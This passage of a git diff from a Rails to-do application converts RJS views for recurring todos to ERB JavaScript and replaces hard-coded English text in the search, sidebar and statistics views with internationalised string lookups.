    Recurring todos

    +
    +

    <%= t('todos.recurring_todos') %>

    -

    Currently there are no recurring todos

    +

    <%= t('todos.no_recurring_todos') %>

    - <%= render :partial => "recurring_todo", :collection => @recurring_todos %> + <%= render :partial => @recurring_todos %>
    -
    -

    Recurring todos that are completed

    +
    +

    <%= t('todos.completed_recurring') %>

    -

    Currently there are no completed recurring todos

    +

    <%= t('todos.no_completed_recurring') %>

    - <%= render :partial => "recurring_todo", :collection => @completed_recurring_todos %> + <%= render :partial => @completed_recurring_todos %>
    -
    +
    <%= render :partial => "recurring_todo_form" %>
    -
    +
    \ No newline at end of file diff --git a/app/views/recurring_todos/toggle_check.js.erb b/app/views/recurring_todos/toggle_check.js.erb new file mode 100644 index 00000000..c47127c2 --- /dev/null +++ b/app/views/recurring_todos/toggle_check.js.erb @@ -0,0 +1,51 @@ +<%- if @saved -%> + TracksPages.set_page_badge(<%= @down_count %>); + remove_old_and_add_updated_recurring_todo(); + inform_if_new_todo_created(); +<%- else -%> + TracksPages.page_notify('error', '<%= t('todos.error_completing_todo', :description => @recurring_todo.description) %>', 8); +<%- end -%> + +function inform_if_new_todo_created() { + <%- unless @new_recurring_todo.nil? -%> + TracksPages.page_notify('notice', '<%= t('todos.new_related_todo_created') %>', 5); + <%- end -%> +} + +function remove_old_and_add_updated_recurring_todo() { + $('#<%=dom_id(@recurring_todo)%>').slideUp(1000, function() { + $('#<%=dom_id(@recurring_todo)%>').remove(); + show_empty_messages(); + + <%- if @recurring_todo.completed? -%> + add_recurring_todo_to_completed_container(); + <%- else -%> + add_recurring_todo_to_active_container(); + <%- end -%> + }); +} + +function add_recurring_todo_to_completed_container() { + $('#completed_recurring_todos_container').append(html_for_recurring_todo()); + $('#<%= dom_id(@recurring_todo)%>').effect('highlight', {}, 2000 ); + $('#completed-empty-nd').hide(); +} + +function add_recurring_todo_to_active_container() { + $('#recurring_todos_container').append(html_for_recurring_todo()); + $('#<%= dom_id(@recurring_todo)%>').effect('highlight', {}, 2000 ); + $('#recurring-todos-empty-nd').hide(); +} + +function show_empty_messages() { + <%- if @active_remaining == 0 -%> + $('#recurring-todos-empty-nd').show(); + <%- end -%> + <%- if @completed_remaining == 0 -%> + $('#completed-empty-nd').show(); + <%- end -%> +} + +function html_for_recurring_todo() { + return "<%= @saved ? escape_javascript(render(:partial => @recurring_todo)) : "" %>"; +} \ No newline at end of file diff --git a/app/views/recurring_todos/toggle_check.js.rjs b/app/views/recurring_todos/toggle_check.js.rjs deleted file mode 100644 index b0cde7ff..00000000 --- a/app/views/recurring_todos/toggle_check.js.rjs +++ /dev/null @@ -1,30 +0,0 @@ -if @saved - page[@recurring_todo].remove - page['badge_count'].replace_html @count - - if @recurring_todo.completed? - # show completed recurring todo - page.insert_html :top, "completed_recurring_todos_container", :partial => 'recurring_todos/recurring_todo', :locals => { :recurring_todo => @recurring_todo } - page.visual_effect :highlight, dom_id(@recurring_todo), :duration => 3 - - # set empty messages - page.show 'recurring-todos-empty-nd' if @remaining == 0 - page.hide 'completed-empty-nd' - else - # recurring_todo is activated - - # show completed recurring todo - page.insert_html :top, "recurring_todos_container", :partial => 'recurring_todos/recurring_todo', :locals => { :recurring_todo => @recurring_todo } - page.visual_effect :highlight, dom_id(@recurring_todo), :duration => 3 - - # inform user if a new todo has been created because of the activation - page.notify :notice, "A new todo was added which belongs to this recurring todo", 3.0 unless @new_recurring_todo.nil? - - # set empty messages - page.show 'completed-empty-nd' if @remaining == 0 - page.hide 'recurring-todos-empty-nd' - end - -else - page.notify :error, "There was an error completing / activating the recurring todo #{@recurring_todo.description}", 8.0 -end \ No newline at end of file diff --git a/app/views/recurring_todos/toggle_star.js.erb b/app/views/recurring_todos/toggle_star.js.erb index 437e22cc..85eb1d66 100644 --- a/app/views/recurring_todos/toggle_star.js.erb +++ b/app/views/recurring_todos/toggle_star.js.erb @@ -1,3 +1,5 @@ -<% if @saved -%> +<%- if @saved -%> $('div#recurring_todo_<%= @recurring_todo.id %> a.star_item img').toggleClass('starred_todo').toggleClass('unstarred_todo'); -<% end -%> +<%- else -%> + TracksPages.page_notify('error', '<%= t('todos.error_starring_recurring', :description => @recurring_todo.description) %>', 8); +<%- end -%> diff --git a/app/views/recurring_todos/update.js.erb b/app/views/recurring_todos/update.js.erb new file mode 100644 index 00000000..1f31574c --- /dev/null +++ b/app/views/recurring_todos/update.js.erb @@ -0,0 +1,38 @@ +<%- if @saved -%> + RecurringTodosPage.toggle_overlay(); + TracksPages.page_notify('notice', text_for_status_message(), 5); + replace_old_recurring_todo_with_updated(); +<%- else -%> + TracksPages.show_edit_errors(html_for_error_messages()); +<%- end -%> + +function replace_old_recurring_todo_with_updated() { + $('#<%=dom_id(@recurring_todo)%>').fadeOut(250, function() { +<%- + # first add the updated recurring todo after the old one, then remove old one + # using html() does not work, because it will replace the _content_ of + # the container instead of the container itself, i.e. you will get + # a container within a container which will break drag-and-drop sorting (when/if implemented) +-%> + $('#<%=dom_id(@recurring_todo)%>').after(html_for_updated_recurring_todo()); + $('#<%=dom_id(@recurring_todo)%>').remove(); + $('#<%=dom_id(@recurring_todo)%>').fadeIn(500); + }); +} + +function html_for_updated_recurring_todo() { + return "<%= escape_javascript(render(:partial => @recurring_todo))%>"; +} + +function text_for_status_message() { + <%- + status_message = t('todos.recurring_action_saved') + status_message = t('todos.added_new_project') + ' / ' + status_message if @new_project_created + status_message = t('todos.added_new_context') + ' / ' + status_message if @new_context_created + -%> + return "<%= status_message%>"; +} + +function html_for_error_messages() { + return "<%= escape_javascript(error_messages_for('recurring_todo')) %>"; +} \ No newline at end of file diff --git a/app/views/recurring_todos/update.js.rjs b/app/views/recurring_todos/update.js.rjs deleted file mode 100644 index 626ba168..00000000 --- a/app/views/recurring_todos/update.js.rjs +++ /dev/null @@ -1,18 +0,0 @@ -if @saved - # hide overlayed edit form - page << "TracksForm.toggle_overlay();" - - # show update message - status_message = 'Recurring action saved' - status_message = 'Added new project / ' + status_message if @new_project_created - status_message = 'Added new context / ' + status_message if @new_context_created - page.notify :notice, status_message, 5.0 - - # replace old recurring todo with updated todo - page.replace dom_id(@recurring_todo), :partial => 'recurring_todos/recurring_todo', :locals => { :recurring_todo => @recurring_todo } - page.visual_effect :highlight, dom_id(@recurring_todo), :duration => 3 - -else - page.show 'edit_status' - page.replace_html 'edit_status', "#{error_messages_for('recurring_todo')}" -end diff --git a/app/views/search/_show_results_collection.rhtml b/app/views/search/_show_results_collection.rhtml new file mode 100644 index 00000000..0ea84351 --- /dev/null +++ b/app/views/search/_show_results_collection.rhtml @@ -0,0 +1,11 @@ +<% +collection = show_results_collection +collection_name ||= 'unknown' +collection_title ||= 'unknown object' +unless collection.empty? +-%> +
    +

    <%= collection.size %><%= collection_title %>

    + <%= yield %> +
    +<% end -%> \ No newline at end of file diff --git a/app/views/search/index.rhtml b/app/views/search/index.rhtml index 273bc379..9573a90b 100644 --- a/app/views/search/index.rhtml +++ b/app/views/search/index.rhtml @@ -1,6 +1,6 @@ diff --git a/app/views/search/results.rhtml b/app/views/search/results.rhtml index e18516ee..cb83a8d7 100644 --- a/app/views/search/results.rhtml +++ b/app/views/search/results.rhtml @@ -1,48 +1,28 @@ -
    <% if @count == 0 -%> -

    Your search yielded no results.

    +

    <%= t('search.no_results') %>

    <% else -%> - <% unless @found_todos.empty? -%> -
    -

    <%= @found_todos.size %>Todos matching query

    - <%= render :partial => "todos/todo", :collection => @found_todos, :locals => { :parent_container_type => 'search', :suppress_context => false, :suppress_project => false, :suppress_edit_button => true } %> -
    + + <% render :layout => 'show_results_collection', :object => @found_todos, :locals => { :collection_name => "found-todos", :collection_title => t('search.todos_matching_query')} do %> + <%= render :partial => "todos/todo", :collection => @found_todos, :locals => { :parent_container_type => 'search', :suppress_context => false, :suppress_project => false, :suppress_edit_button => true } %> <% end -%> - <% unless @found_projects.empty? -%> -
    -

    <%= @found_projects.size %>Projects matching query

    - <%= render :partial => "projects/project_listing", :collection => @found_projects, :locals => { :suppress_drag_handle => true, :suppress_edit_button => true } %> -
    + <% render :layout => 'show_results_collection', :object => @found_projects, :locals => { :collection_name => "found-project", :collection_title => t('search.projects_matching_query')} do %> + <%= render :partial => "projects/project_listing", :collection => @found_projects, :locals => { :suppress_drag_handle => true, :suppress_edit_button => true } %> <% end -%> - <% unless @found_notes.empty? -%> -
    -

    <%= @found_notes.size %>Notes matching query

    - <% for notes in @found_notes -%> -
    - <%= render :partial => "notes/notes_summary", :object => notes %> -
    - <% end -%> -
    + <% render :layout => 'show_results_collection', :object => @found_notes, :locals => { :collection_name => "found-notes", :collection_title => t('search.notes_matching_query')} do %> + <%= render :partial => "notes/notes_summary", :collection=> @found_notes %> <% end -%> - <% unless @found_contexts.empty? -%> -
    -

    <%= @found_contexts.size %>Contexts matching query

    - <%= render :partial => "contexts/context_listing", :collection => @found_contexts, :locals => { :suppress_drag_handle => true, :suppress_edit_button => true } %> -
    + <% render :layout => 'show_results_collection', :object => @found_contexts, :locals => { :collection_name => "found-contexts", :collection_title => t('search.contexts_matching_query')} do %> + <%= render :partial => "contexts/context_listing", :collection => @found_contexts, :locals => { :suppress_drag_handle => true, :suppress_edit_button => true } %> <% end -%> - <% unless @found_tags.empty? -%> -
    -

    <%= @found_tags.size %>Tags matching query

    + <% render :layout => 'show_results_collection', :object => @found_tags, :locals => { :collection_name => "found-tags", :collection_title => t('search.tags_matching_query')} do %> <% @found_tags.each do |tag| -%> <%= link_to tag.name, {:controller => "todos", :action => "tag", :id => tag.name} -%> <% end %> - -
    -
    - <% end %> +

    + <% end -%> + <% end -%> -
    diff --git a/app/views/shared/_add_new_item_form.rhtml b/app/views/shared/_add_new_item_form.rhtml index 0007b72b..455f3e16 100644 --- a/app/views/shared/_add_new_item_form.rhtml +++ b/app/views/shared/_add_new_item_form.rhtml @@ -1,5 +1,4 @@ <% -@todo = nil @initial_context_name = @context.name unless @context.nil? @initial_context_name ||= @project.default_context.name unless @project.nil? || @project.default_context.nil? @initial_context_name ||= current_user.contexts.first.name unless current_user.contexts.first.nil? @@ -8,107 +7,11 @@
    -
    - <% form_remote_tag( - :url => todos_path, :method => :post, - :html=> { :id=>'todo-form-new-action', :name=>'todo', :class => 'inline-form' }, - :before => "$('#todo_new_action_submit').block({message:null})", - :complete => "$('#todo_new_action_submit').unblock()", - :condition => "askIfNewContextProvided('')") do -%> - -
    <%= error_messages_for("item", :object_name => 'action') %>
    - - - <%= text_field( "todo", "description", "size" => 30, "tabindex" => 1, "maxlength" => 100, "autocomplete" => "off", :autofocus => 1) %> - - - <%= text_area( "todo", "notes", "cols" => 29, "rows" => 6, "tabindex" => 2) %> - - - - - - - - - - - - - - - <%= text_field_tag "tag_list", @default_tags, :size => 30, :tabindex => 5 %> - <%= content_tag("div", "", :id => "tag_list_auto_complete", :class => "auto_complete") %> - -
    - - <%= text_field("todo", "due", "size" => 12, "class" => "Date", "tabindex" => 6, "autocomplete" => "off") %> -
    - -
    - - <%= text_field("todo", "show_from", "size" => 12, "class" => "Date", "tabindex" => 7, "autocomplete" => "off") %> -
    - - - <%= text_field_tag "predecessor_list", nil, :size => 30, :tabindex => 8 %> - <%= source_view_tag( @source_view ) %> - <%= hidden_field_tag :_tag_name, @tag_name.underscore.gsub(/\s+/,'_') if source_view_is :tag %> - -
    -
    - -
    -
    - - <% end # form-remote-tag -%> -
    - - + <%= render :partial => 'todos/new_todo_form', :object => Todo.new %> + <%= render :partial => 'todos/new_multi_todo_form', :object => Todo.new %>
    diff --git a/app/views/sidebar/_context.rhtml b/app/views/sidebar/_context.rhtml deleted file mode 100644 index 70d8d493..00000000 --- a/app/views/sidebar/_context.rhtml +++ /dev/null @@ -1 +0,0 @@ -
  • <%= link_to_context( context ) + " (" + count_undone_todos_phrase(context,"actions") + ")"%>
  • \ No newline at end of file diff --git a/app/views/sidebar/_context_list.rhtml b/app/views/sidebar/_context_list.rhtml deleted file mode 100644 index 8f985ebd..00000000 --- a/app/views/sidebar/_context_list.rhtml +++ /dev/null @@ -1,8 +0,0 @@ -

    <%= list_name %> (<%= contexts.length %>)

    -
      - <% if contexts.empty? -%> -
    • None
    • - <% else -%> - <%= render :partial => "sidebar/context", :collection => contexts -%> - <% end -%> -
    \ No newline at end of file diff --git a/app/views/sidebar/_project.rhtml b/app/views/sidebar/_project.rhtml deleted file mode 100644 index d7fade18..00000000 --- a/app/views/sidebar/_project.rhtml +++ /dev/null @@ -1 +0,0 @@ -
  • <%= link_to_project( project ) + " (" + count_undone_todos_phrase(project,"actions") + ")" %>
  • \ No newline at end of file diff --git a/app/views/sidebar/_project_list.rhtml b/app/views/sidebar/_project_list.rhtml deleted file mode 100644 index 3cb73df1..00000000 --- a/app/views/sidebar/_project_list.rhtml +++ /dev/null @@ -1,8 +0,0 @@ -

    <%= list_name %> (<%= projects.length %>)

    -
      - <% if projects.empty? %> -
    • None
    • - <% else %> - <%= render :partial => "sidebar/project", :collection => projects %> - <% end %> -
    \ No newline at end of file diff --git a/app/views/sidebar/sidebar.html.erb b/app/views/sidebar/sidebar.html.erb index eb229b3b..173aa882 100644 --- a/app/views/sidebar/sidebar.html.erb +++ b/app/views/sidebar/sidebar.html.erb @@ -1,30 +1,7 @@ \ No newline at end of file diff --git a/app/views/stats/_actions.rhtml b/app/views/stats/_actions.rhtml index ef9bd930..59d4c03c 100755 --- a/app/views/stats/_actions.rhtml +++ b/app/views/stats/_actions.rhtml @@ -1,11 +1,11 @@ -

    Of all your completed actions, the average time to complete is <%= (@actions_avg_ttc*10).round/10.0 %> days. -The Max-/minimum days to complete is <%= (@actions_max_ttc*10).round/10.0%>/<%= (@actions_min_ttc*10).round/10.0 %>. -The minimum time to complete is <%= @actions_min_ttc_sec %>

    +

    <%= t('stats.actions_avg_completion_time', :count => (@actions_avg_ttc*10).round/10.0) %> +<%= t('stats.actions_min_max_completion_days', :min=> (@actions_max_ttc*10).round/10.0, :max => (@actions_min_ttc*10).round/10.0) %> +<%= t('stats.actions_min_completion_time', :time => @actions_min_ttc_sec) %>

    -

    In the last 30 days you created on average <%=(@sum_actions_created_last30days*10.0/30.0).round/10.0 %> actions -and completed on average <%=(@sum_actions_done_last30days*10.0/30.0).round/10.0%> actions per day. -In the last 12 months you created on average <%=(@sum_actions_created_last12months*10.0/12.0).round/10.0 %> actions -and completed on average <%= (@sum_actions_done_last12months*10.0/12.0).round/10.0%> actions per month.

    +

    <%= t('stats.actions_actions_avg_created_30days', :count => (@sum_actions_created_last30days*10.0/30.0).round/10.0 )%> +<%= t('stats.actions_avg_completed_30days', :count => (@sum_actions_done_last30days*10.0/30.0).round/10.0 )%> +<%= t('stats.actions_avg_created', :count => (@sum_actions_created_last12months*10.0/12.0).round/10.0 )%> +<%= t('stats.actions_avg_completed', :count => (@sum_actions_done_last12months*10.0/12.0).round/10.0 )%>

    <% %w{ actions_done_last30days_data actions_done_last12months_data diff --git a/app/views/stats/_contexts.rhtml b/app/views/stats/_contexts.rhtml index 1c04cb80..ee3eae5e 100755 --- a/app/views/stats/_contexts.rhtml +++ b/app/views/stats/_contexts.rhtml @@ -5,7 +5,7 @@
    -

    Top 5 Contexts

    +

    <%= t('stats.top5_contexts') %>

    <% 1.upto 5 do |i| %><%=i-%> - @@ -19,7 +19,7 @@
    -

    Top 5 Visible Contexts with incomplete actions

    +

    <%= t('stats.top5_visible_contexts_with_incomplete_actions') %>

    <% 1.upto 5 do |i| %><%=i-%> - diff --git a/app/views/stats/_projects.rhtml b/app/views/stats/_projects.rhtml index 7e2cc6db..230a7ffb 100755 --- a/app/views/stats/_projects.rhtml +++ b/app/views/stats/_projects.rhtml @@ -1,5 +1,5 @@
    -

    Top 10 projects

    +

    <%= t('stats.top10_projects') %>

    <% i=0 @projects_and_actions.each do |p| i+=1 -%> @@ -14,7 +14,7 @@
    -

    Top 10 project in past 30 days

    +

    <%= t('stats.top10_projects_30days') %>

    <% i=0 @projects_and_actions_last30days.each do |p| i+=1 -%> @@ -29,7 +29,7 @@
    -

    Top 10 longest running projects

    +

    <%= t('stats.top10_longrunning') %>

    <% i=0 @projects_and_runtime.each do |id, name, days| i+=1 -%> diff --git a/app/views/stats/_tags.rhtml b/app/views/stats/_tags.rhtml index 106dd525..b42ab7c7 100755 --- a/app/views/stats/_tags.rhtml +++ b/app/views/stats/_tags.rhtml @@ -1,10 +1,10 @@
    -

    Tag Cloud for all actions

    -

    This tag cloud includes tags of all actions (completed, not completed, visible and/or hidden)

    +

    <%= t('stats.tag_cloud_title') %>

    +

    <%= t('stats.tag_cloud_description') %>

    <% if @tags_for_cloud.size < 1 - %> no tags available <% + t('stats.no_tags_available') else @tags_for_cloud.each do |t| %> <%= link_to t.name, @@ -18,12 +18,11 @@

    -

    Tag Cloud actions in past 90 days

    -

    This tag cloud includes tags of actions that were created or completed in - the past 90 days.

    +

    <%= t('stats.tag_cloud_90days_title') %>

    +

    <%= t('stats.tag_cloud_90days_description') %>

    <% if @tags_for_cloud_90days.size < 1 - %> no tags available <% + t('stats.no_tags_available') else @tags_for_cloud_90days.each do |t| %> <%= link_to t.name, diff --git a/app/views/stats/_totals.rhtml b/app/views/stats/_totals.rhtml index 9cece4b2..33db9cb5 100755 --- a/app/views/stats/_totals.rhtml +++ b/app/views/stats/_totals.rhtml @@ -1,23 +1,23 @@ -

    You have <%= @projects.count%> projects. - Of those <%= @projects.active.count%> are active projects, - <%= @projects.hidden.count%> hidden projects and -<%= @projects.completed.count%> completed projects

    +

    <%= t('stats.totals_project_count', :count => @projects.count) %> + <%= t('stats.totals_active_project_count', :count => @projects.active.count) %>, + <%= t('stats.totals_hidden_project_count', :count => @projects.hidden.count) %> + <%= t('stats.totals_completed_project_count', :count => @projects.completed.count) %>

    -

    You have <%= @contexts.count%> contexts. -Of those <%= @contexts.active.count%> are visible contexts and -<%= @contexts.hidden.count%> are hidden contexts +

    <%= t('stats.totals_context_count', :count => @contexts.count ) %> +<%= t('stats.totals_visible_context_count', :count => @contexts.active.count) %> +<%= t('stats.totals_hidden_context_count', :count => @contexts.hidden.count) %> <% unless @actions.empty? -%> -

    Since your first action on <%= format_date(@first_action.created_at) %> -you have a total of <%= @actions.count %> actions. -<%= @actions.completed.count %> of these are completed. +

    <%= t('stats.totals_first_action', :date => format_date(@first_action.created_at)) %> +<%= t('stats.totals_action_count', :count => @actions.count) %>, +<%= t('stats.totals_actions_completed', :count => @actions.completed.count) %> -

    You have <%= @actions.not_completed.count %> incomplete actions -of which <%= @actions.deferred.count %> are deferred actions -in the tickler and <%= @actions.blocked.count %> are dependent on the completion of other actions. +

    <%= t('stats.totals_incomplete_actions', :count => @actions.not_completed.count) %> +<%= t('stats.totals_deferred_actions', :count => @actions.deferred.count) %> +<%= t('stats.totals_blocked_actions', :count => @actions.blocked.count) %>

    -

    You have <%= @tags_count-%> tags placed on actions. Of those tags, -<%= @unique_tags_count -%> are unique. +

    <%= t('stats.totals_tag_count', :count => @tags_count) %> + <%= t('stats.totals_unique_tags', :count => @unique_tags_count) %> <% end -%> diff --git a/app/views/stats/actions_completion_time_data.html.erb b/app/views/stats/actions_completion_time_data.html.erb index a3b3c44b..be3a8237 100755 --- a/app/views/stats/actions_completion_time_data.html.erb +++ b/app/views/stats/actions_completion_time_data.html.erb @@ -1,7 +1,7 @@ -&title=Completion time (all completed actions),{font-size:16},& -&y_legend=Actions,10,0x8010A0& -&y2_legend=Percentage,10,0xFF0000& -&x_legend=Running time of an action (weeks),12,0x736AFF& +&title=<%= t('stats.action_completion_time_title') %>,{font-size:16},& +&y_legend=<%= t('stats.legend.actions') %>,10,0x8010A0& +&y2_legend=<%= t('stats.legend.percentage') %>,10,0xFF0000& +&x_legend=<%= t('stats.legend.running_time') %>,12,0x736AFF& &y_ticks=5,10,5& &filled_bar=50,0x9933CC,0x8010A0& &values= diff --git a/app/views/stats/actions_day_of_week_30days_data.html.erb b/app/views/stats/actions_day_of_week_30days_data.html.erb index 9505652e..5e884466 100755 --- a/app/views/stats/actions_day_of_week_30days_data.html.erb +++ b/app/views/stats/actions_day_of_week_30days_data.html.erb @@ -1,9 +1,9 @@ -&title=Day of week (past 30 days),{font-size:16},& -&y_legend=Number of actions,12,0x736AFF& -&x_legend=Day of week,12,0x736AFF& +&title=<%= t('stats.actions_dow_30days_title') %>,{font-size:16},& +&y_legend=<%= t('stats.actions_dow_30days_legend.number_of_actions') %>,12,0x736AFF& +&x_legend=<%= t('stats.actions_dow_30days_legend.day_of_week') %>,12,0x736AFF& &y_ticks=5,10,5& -&filled_bar=50,0x9933CC,0x8010A0,Created,8& -&filled_bar_2=50,0x0066CC,0x0066CC,Completed,8& +&filled_bar=50,0x9933CC,0x8010A0,<%= t('stats.labels.created') %>,8& +&filled_bar_2=50,0x0066CC,0x0066CC,<%= t('stats.labels.completed') %>,8& &values=<% 0.upto 5 do |i| -%> <%=@actions_creation_day_array[i] -%>, diff --git a/app/views/stats/actions_day_of_week_all_data.html.erb b/app/views/stats/actions_day_of_week_all_data.html.erb index fee11d73..8accb729 100755 --- a/app/views/stats/actions_day_of_week_all_data.html.erb +++ b/app/views/stats/actions_day_of_week_all_data.html.erb @@ -1,9 +1,9 @@ -&title=Day of week (all actions),{font-size:16},& -&y_legend=Number of actions,12,0x736AFF& -&x_legend=Day of week,12,0x736AFF& +&title=<%= t('stats.actions_day_of_week_title') %>,{font-size:16},& +&y_legend=<%= t('stats.actions_day_of_week_legend.number_of_actions') %>,12,0x736AFF& +&x_legend=<%= t('stats.actions_day_of_week_legend.day_of_week') %>,12,0x736AFF& &y_ticks=5,10,5& -&filled_bar=50,0x9933CC,0x8010A0,Created,8& -&filled_bar_2=50,0x0066CC,0x0066CC,Completed,8& +&filled_bar=50,0x9933CC,0x8010A0,<%= t('stats.labels.created')%>,8& +&filled_bar_2=50,0x0066CC,0x0066CC,<%= t('stats.labels.completed') %>,8& &values=<% 0.upto 5 do |i| -%> <%=@actions_creation_day_array[i] -%>, diff --git a/app/views/stats/actions_done_last12months_data.html.erb b/app/views/stats/actions_done_last12months_data.html.erb index e1191042..4d416e1c 100755 --- a/app/views/stats/actions_done_last12months_data.html.erb +++ b/app/views/stats/actions_done_last12months_data.html.erb @@ -1,13 +1,13 @@ -&title=Actions in the last 12 months,{font-size:16},& -&y_legend=Number of actions,12,0x736AFF& -&x_legend=Months ago,12,0x736AFF& +&title=<%= t('stats.actions_lastyear_title') %>,{font-size:16},& +&y_legend=<%= t('stats.legend.number_of_actions') %>,12,0x736AFF& +&x_legend=<%= t('stats.legend.months_ago') %>,12,0x736AFF& &y_ticks=5,10,5& -&filled_bar=50,0x9933CC,0x8010A0,Created,9& -&filled_bar_2=50,0x0066CC,0x0066CC,Completed,9& -&line_3=2,0x00FF00, Avg Created, 9& -&line_4=2,0xFF0000, Avg Completed, 9& -&line_5=2,0x007700, 3 Month Avg Created, 9& -&line_6=2,0xAA0000, 3 Month Avg Completed, 9& +&filled_bar=50,0x9933CC,0x8010A0,<%= t('stats.labels.created')%>,9& +&filled_bar_2=50,0x0066CC,0x0066CC,<%= t('stats.labels.completed') %>,9& +&line_3=2,0x00FF00, <%= t('stats.labels.avg_created') %>, 9& +&line_4=2,0xFF0000, <%= t('stats.labels.avg_completed') %>, 9& +&line_5=2,0x007700, <%= t('stats.labels.month_avg_created', :months => 3) %>, 9& +&line_6=2,0xAA0000, <%= t('stats.labels.month_avg_completed', :months => 3) %>, 9& &line_7=1,0xAA0000& &line_8=1,0x007700& &values=<% 0.upto 11 do |i| -%><%= @actions_created_last12months_hash[i]%>,<% end -%><%= @actions_created_last12months_hash[12]%>& diff --git a/app/views/stats/actions_done_last30days_data.html.erb b/app/views/stats/actions_done_last30days_data.html.erb index 5eac2776..00efafc8 100755 --- a/app/views/stats/actions_done_last30days_data.html.erb +++ b/app/views/stats/actions_done_last30days_data.html.erb @@ -1,11 +1,11 @@ -&title=Actions in the last 30 days,{font-size:16},& -&y_legend=Number of actions,12,0x736AFF& -&x_legend=Number of days ago,12,0x736AFF& +&title=<%= t('stats.actions_30days_title') %>,{font-size:16},& +&y_legend=<%= t('stats.legend.number_of_actions') %>,12,0x736AFF& +&x_legend=<%= t('stats.legend.number_of_days') %>,12,0x736AFF& &y_ticks=5,10,5& -&filled_bar=50,0x9933CC,0x8010A0,Created,9& -&filled_bar_2=50,0x0066CC,0x0066CC,Completed,9& -&line_3=3,0x00FF00, Avg Created, 9& -&line_4=3,0xFF0000, Avg Completed, 9& +&filled_bar=50,0x9933CC,0x8010A0,<%= t('stats.labels.created') %>,9& +&filled_bar_2=50,0x0066CC,0x0066CC,<%= t('stats.labels.completed') %>,9& +&line_3=3,0x00FF00, <%= t('stats.labels.avg_created') %>, 9& +&line_4=3,0xFF0000, <%= t('stats.labels.avg_completed') %>, 9& &values= <% 0.upto 29 do |i| -%> <%= @actions_created_last30days_hash[i]%>, diff --git a/app/views/stats/actions_done_last_years.html.erb b/app/views/stats/actions_done_last_years.html.erb index 6579d580..0b67a545 100644 --- a/app/views/stats/actions_done_last_years.html.erb +++ b/app/views/stats/actions_done_last_years.html.erb @@ -1,2 +1,2 @@ <%= render :partial => 'chart', :locals => {:width => @chart_width, :height => @chart_height, :data => url_for(:action => :actions_done_lastyears_data)} -%> -Click <%=link_to "here", {:controller => "stats", :action => "index"} %> to return to the statistics page. +<%= t('stats.click_to_return', :link => link_to(t('stats.click_to_return_link'), {:controller => "stats", :action => "index"})) %> diff --git a/app/views/stats/actions_done_lastyears_data.html.erb b/app/views/stats/actions_done_lastyears_data.html.erb index 2619d56a..87245d13 100644 --- a/app/views/stats/actions_done_lastyears_data.html.erb +++ b/app/views/stats/actions_done_lastyears_data.html.erb @@ -1,13 +1,13 @@ -&title=Actions in the last years,{font-size:16},& -&y_legend=Number of actions,12,0x736AFF& -&x_legend=Months ago,12,0x736AFF& +&title=<%= t('stats.actions_last_year') %>,{font-size:16},& +&y_legend=<%= t('stats.actions_last_year_legend.number_of_actions') %>,12,0x736AFF& +&x_legend=<%= t('stats.actions_last_year_legend.months_ago') %>,12,0x736AFF& &y_ticks=5,10,5& &filled_bar=50,0x9933CC,0x8010A0,Created,9& &filled_bar_2=50,0x0066CC,0x0066CC,Completed,9& -&line_3=2,0x00FF00, Avg Created, 9& -&line_4=2,0xFF0000, Avg Completed, 9& -&line_5=2,0x007700, 3 Month Avg Created, 9& -&line_6=2,0xAA0000, 3 Month Avg Completed, 9& +&line_3=2,0x00FF00, <%= t('stats.labels.avg_created') %>, 9& +&line_4=2,0xFF0000, <%= t('stats.labels.avg_completed') %>, 9& +&line_5=2,0x007700, <%= t('stats.labels.month_avg_created', :months => 3) %>, 9& +&line_6=2,0xAA0000, <%= t('stats.labels.month_avg_completed', :months => 3) %>, 9& &line_7=1,0xAA0000& &line_8=1,0x007700& &values=<% 0.upto @month_count-1 do |i| -%><%= @actions_created_last_months_hash[i]%>,<% end -%><%= @actions_created_last_months_hash[@month_count]%>& diff --git a/app/views/stats/actions_running_time_data.html.erb b/app/views/stats/actions_running_time_data.html.erb index 70865846..a8a56300 100755 --- a/app/views/stats/actions_running_time_data.html.erb +++ b/app/views/stats/actions_running_time_data.html.erb @@ -1,7 +1,7 @@ -&title=Current running time of all incomplete actions,{font-size:16},& -&y_legend=Actions,10,0x736AFF& -&y2_legend=Percentage,10,0xFF0000& -&x_legend=Running time of an action (weeks). Click on a bar for more info,11,0x736AFF& +&title=<%= t('stats.running_time_all') %>,{font-size:16},& +&y_legend=<%= t('stats.running_time_all_legend.actions') %>",10,0x736AFF& +&y2_legend=<%= t('stats.running_time_all_legend.percentage') %>,10,0xFF0000& +&x_legend=<%= t('stats.running_time_all_legend.running_time') %>,11,0x736AFF& &y_ticks=5,10,5& &filled_bar=50,0x9933CC,0x8010A0& &values= diff --git a/app/views/stats/actions_time_of_day_30days_data.html.erb b/app/views/stats/actions_time_of_day_30days_data.html.erb index 12a459c2..6f48b43a 100755 --- a/app/views/stats/actions_time_of_day_30days_data.html.erb +++ b/app/views/stats/actions_time_of_day_30days_data.html.erb @@ -1,9 +1,9 @@ -&title=Time of day (last 30 days),{font-size:16},& -&y_legend=Number of actions,12,0x736AFF& -&x_legend=Time of Day,12,0x736AFF& +&title=<%= t('stats.tod30') %>,{font-size:16},& +&y_legend=<%= t('stats.tod30_legend.number_of_actions') %>,12,0x736AFF& +&x_legend=<%= t('stats.tod30_legend.time_of_day') %>,12,0x736AFF& &y_ticks=5,10,5& -&filled_bar=50,0x9933CC,0x8010A0,Created,8& -&filled_bar_2=50,0x0066CC,0x0066CC,Completed,8& +&filled_bar=50,0x9933CC,0x8010A0,<%= t('stats.labels.created') %>,8& +&filled_bar_2=50,0x0066CC,0x0066CC,<%= t('stats.labels.completed') %>,8& &values=<% 0.upto 22 do |i| -%> <%=@actions_creation_hour_array[i] -%>, diff --git a/app/views/stats/actions_time_of_day_all_data.html.erb b/app/views/stats/actions_time_of_day_all_data.html.erb index c1b4ff3b..367c4078 100755 --- a/app/views/stats/actions_time_of_day_all_data.html.erb +++ b/app/views/stats/actions_time_of_day_all_data.html.erb @@ -1,9 +1,9 @@ -&title=Time of day (all actions),{font-size:16},& -&y_legend=Number of actions,12,0x736AFF& -&x_legend=Time of Day,12,0x736AFF& +&title=<%= t('stats.time_of_day') %>,{font-size:16},& +&y_legend=<%= t('stats.time_of_day_legend.number_of_actions') %>,12,0x736AFF& +&x_legend=<%= t('stats.time_of_day_legend.time_of_day') %>,12,0x736AFF& &y_ticks=5,10,5& -&filled_bar=50,0x9933CC,0x8010A0,Created,8& -&filled_bar_2=50,0x0066CC,0x0066CC,Completed,8& +&filled_bar=50,0x9933CC,0x8010A0,<%= t('stats.labels.created') %>,8& +&filled_bar_2=50,0x0066CC,0x0066CC,<%= 